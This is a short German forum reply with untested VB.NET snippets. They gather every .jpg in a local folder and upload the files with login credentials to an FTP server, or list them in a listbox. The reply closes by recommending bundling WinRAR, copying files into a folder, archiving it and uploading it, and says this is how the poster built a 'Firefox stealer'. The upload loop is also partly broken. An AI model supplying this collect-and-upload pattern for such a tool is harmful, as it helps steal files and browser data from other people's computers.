Code:
Dim fileinfo As New DirectoryInfo("C:\bilder\")
Dim files As Array = fileinfo.GetFiles("*.jpg")
da haste alle datein aus dem ordner in einem array und kannst diese besser durchlaufen lassen
vlt so (ungetestet^^)
Code:
For i as integer = 0 to files.getupperbound(0)
My.Computer.Network.UploadFile("C:\bilder\", "ftp://ftp.meinftp.de" & "/" & files(i), "meinftplogin", "meinftppw")
next
du kannst aber auch einfach nur jpgs in die listbox laden
Code:
For i as integer = 0 to files.getupperbound(0)
ListBox1.items.add("C:\bilder\" & files(i))
next
was ich dir empfehlen würde wäre:
1. winrar in dein programm einbinden
2. alle datein in einen ordner kopieren
3. den ordner raren
4. hochladen
so hab ih mir meinem firefox stealer gebastelt ;D